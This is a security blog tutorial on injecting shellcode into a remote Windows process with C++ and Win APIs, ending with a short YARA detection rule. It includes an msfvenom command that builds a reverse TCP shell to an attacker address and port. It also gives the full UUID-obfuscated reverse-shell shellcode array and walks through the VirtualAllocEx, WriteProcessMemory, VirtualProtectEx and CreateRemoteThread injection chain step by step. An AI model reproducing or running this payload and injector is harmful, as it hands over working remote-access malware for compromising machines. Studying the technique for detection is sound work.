Remote Process Shellcode Injection - T1055

Shellcode Injection Inside A Remote Process

In this blog, we will take a look at how malwares utilizes a very well known technique called Process Injection - Shellcode Injection into a remote normal process inside a Windows Environment.

Source Code Repository

https://github.com/Faran-17/RemoteProcessInjector

Summary

Process Injection MITRE ID - T1055, is a technique in which and malicious shellcode is injected into the memory space of a remote process running on a target computer. This injection technique enables an attacker to assume control of the remote process's execution, potentially leading to unauthorized access, data exfiltration, or malicious activities.

This has been a popular technique that has been abused by malwares and ransomwares for a over a decade. Even though it's old and can now be easily be detected by AVs and EDRs still it is very crucial to learn in order to understand some advance evasion techniques.

In this blog, I will demonstrate how to perform a simple remote process injection via C++ and Win APIs.

Note - Keep in mind that evasion is not kept in mind while demonstrating this attack, so this exe is highly likely be caught by defender.

All the credits to @NULL, @Mr.Dox and @MaldevAcademy for the teaching me this concept in a simplistic way.

Here is the whole attack methodology -

  • A dropper file that has a embedded shellcode.

  • The shellcode is UUID obfuscated.

  • The shellcode is de-obfuscated and then injected into a remote process.

  • Win APIs are used to allocate a memory for the shellcode.

  • A new thread is created to began the execution of the shellcode.

  • The shellcode is executed and an connection is established to the attacker machine.

Here the whole attack scenario can be visualized in a diagram.

Code Walkthrough

In this section, we will walkthrough and understand the code logic of the process injector which is implemented in C++.

Note - I would love to explain each and every lines in the code but this will increase the length and complexity of the blog, will only be explaining the essentials parts of the code. I can do this in some future blogs.

Firstly, generating a bin file using msfvenom.

root@kali ~/Desktop# msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.2.5 lport=443 EXITFUNC=thread -f raw -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: rev.bin

Now, I will be utilizing a in-build tool from Maldev Academy known as HellShell that will generated a UUID obfuscated shellcode of the bin file. UUID i.e Universally Unique IDentifier (UUID) is a bit complex and beyond the scope of this blog, so we'll skip it's explanation. You can use any obfuscation or encryption method of your choice.

PS D:\Malware Development\maldev academy\ProcShellcodeExec> .\HellShell.exe .\rev.bin uuid
char* UuidArray[] = {
        "E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", "728B4820-4850-B70F-4A4A-4D31C94831C0",
        "7C613CAC-2C02-4120-C1C9-0D4101C1E2ED", "48514152-528B-8B20-423C-4801D08B8088", "48000000-C085-6774-4801-D0508B481844",
        "4920408B-D001-56E3-48FF-C9418B348848", "314DD601-48C9-C031-AC41-C1C90D4101C1", "F175E038-034C-244C-0845-39D175D85844",
        "4924408B-D001-4166-8B0C-48448B401C49", "8B41D001-8804-0148-D041-5841585E595A", "59415841-5A41-8348-EC20-4152FFE05841",
        "8B485A59-E912-FF57-FFFF-5D49BE777332", "0032335F-4100-4956-89E6-4881ECA00100", "E5894900-BC49-0002-01BB-0A0002054154",
        "4CE48949-F189-BA41-4C77-2607FFD54C89", "010168EA-0000-4159-BA29-806B00FFD550", "C9314D50-314D-48C0-FFC0-4889C248FFC0",
        "41C18948-EABA-DF0F-E0FF-D54889C76A10", "894C5841-48E2-F989-41BA-99A57461FFD5", "40C48148-0002-4900-B863-6D6400000000",
        "41504100-4850-E289-5757-574D31C06A0D", "E2504159-66FC-44C7-2454-0101488D4424", "6800C618-8948-56E6-5041-504150415049",
        "5041C0FF-FF49-4DC8-89C1-4C89C141BA79", "FF863FCC-48D5-D231-48FF-CA8B0E41BA08", "FF601D87-BBD5-1DE0-2A0A-41BAA695BD9D",
        "8348D5FF-28C4-063C-7C0A-80FBE07505BB", "6F721347-006A-4159-89DA-FFD590909090"
};

#define NumberOfElements 29

Now all we have to do is copy and paste the payload inside the code.

On line 23, the NumberOfElements is 29 which is the character count of the shellcode variable uuid_payload[].

In the main() section of the code,

  • Parameters are initialized.

  • In line 211, a custom function GetRemoteProcessHandle is called which takes process id and pointer to the handle process.

Checking the GetRemoteProcessHandle function.

On line 91, CreateToolhelp32Snapshot is called to takes the snapshot of the processes running inside the environement. Here is structure of the API

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

In line 91, the dwFlags is set to TH32CS_SNAPPROCESS which takes snapshot of all the processes.

Once the snapshot is taken, Process32First API is used to get the information for the first process in the snapshot.

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

The Process32Next is the name suggest, retrieves the information for the next process in the snapshot.

Both the APIs requires PROCESSENTRY32 structure to be passed in for their second parameter. After the struct is passed in, the functions will populate the struct with information about the process. Here is the structure,

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // The process ID
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // Process ID of the parent process
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];        // The name of the executable file for the process
} PROCESSENTRY32;

After Process32First or Process32Next populate the struct, the data can be extracted from the struct by using the dot operator. For example, to extract the PID use PROCESSENTRY32.th32ProcessID.

Moving on,

The UuidDeobfuscation function on line 209 is where the shellcode is de-obfuscated, this is beyond the scope as of now so let's move on to the injection part.

Shellcode Injection.

Now, this is the main part of the attack where the shellcode is injected into the target's process and a new thread is created to began it's execution.

The InjectShellcodeToRemoteProcess takes three parameters - the handle to the process, shellcode and the size of the shellcode.

The process injection techniques utilizes these infamous Win APIs

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualProtectEx

  • CreateRemoteThread

The VirtualAllocEx API is used to allocate the memory in the remote process, here is the structure of the API.

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Understanding it's parameters,

  • hProcess parameter is handle to a process.

  • lpAdress is a pointer that specifies a desired starting address for the region of pages that you want to allocate. This is set to NULL so that the function determines where to allocate in the memory.

  • dwSize is the size of the memory region where the shellcode will be allocates. This is set to the sSizeOfShellcode parameter

  • flAllocationType is a type of memory allocation. We can set more than one allocation type as well. Here is the full list. The parameter here is set to

    • MEM_COMMIT - Allocates a memory.

    • MEM_RESERVE - Reserves a range of the process's virtual address space without allocating any actual physical storage in memory or in the paging file on disk.

  • flProtect is used to set the memory protection of the regions of the pages to be allocated. Here is the full list of the memory protections. This parameter is set to PAGE_READWRITE(0x04) which enables read and write permissions to the commited memory region.

After the memory is successfully allocated in the remote process, the WriteProcessMemory is used to write to the allocated buffer. Here is the structure.

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Understanding it's parameters,

  • hProcess parameter is handle to a process.

  • lpBaseAddress is the pointer to the base address inside the target's process which is pShellcodeAddress in this case.

  • lpbuffer is a pointer to the buffer that contains data to be written in the address space of the specified process, in this case pShellcode.

  • nSize is number of bytes to be written to the specified process, in this case sSizeOfShellcode.

  • lpNumberOfBytesWritten is a pointer to a variable that receives the number of bytes transferred into the specified process.

After the shellcode is written, cleaning the shellcode via memset function.

Before the payload is executed the memory protection should be changed. VirtualProtect is used to modify the memory protections. Here is the structure,

BOOL VirtualProtectEx(
  [in]  HANDLE hProcess,
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

All the parameters are similar from before. The flNewProtect is the parameter where the perismissions is set. Here is the full list of the permssion, in this case it is set to PAGE_EXECUTE_READWRITE(0x40).

After allocating the shellcode inside the target's process memory, creating a new remote thread via the API CreateRemoteThread to avoid crashing of the target process to crash after we close the connection and also maintain each thread's intergrity. Here is the structure of the API.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

After this, build the code in "Release" mode.

Reverse Shell

Now to get a reverse shell, first start a notepad.exe process and give the argument of the process name while running the generated executable.

Checking back the listener.

Here is the video representation of the attack.

More clean quality below.

Detection

Writing a simple YARA rule to detect this attack.

rule Shellcode_Injection {
    
    meta: 
        last_updated = "2021-10-15"
        author = "Chrollo.dll"
        description = "A sample Yara rule for detecting shellcode injection in a remote process"

    strings:
        // Fill out identifying strings and other criteria
        $str1 = "WriteProcessMemory" ascii
        $str2 = "VirtualProtectEx" ascii
        $str3 = "CreateRemoteThread" ascii
        $pe_magic_byte = "MZ"

    condition:
        // Fill out the conditions that must be met to identify the binary
        $pe_magic_byte at 0 and ($str1 and $str2 and $str3)
}

In the above rule, I've flagged the three malicious APIs as ascii strings.

And here is the detection.

C:\Users\husky\Desktop>yara32.exe shellcode_injection.yara . -w -p 32
Shellcode_Injection .\ProcShellcodeExec.exe

Thank You For Reading ☺️

Last updated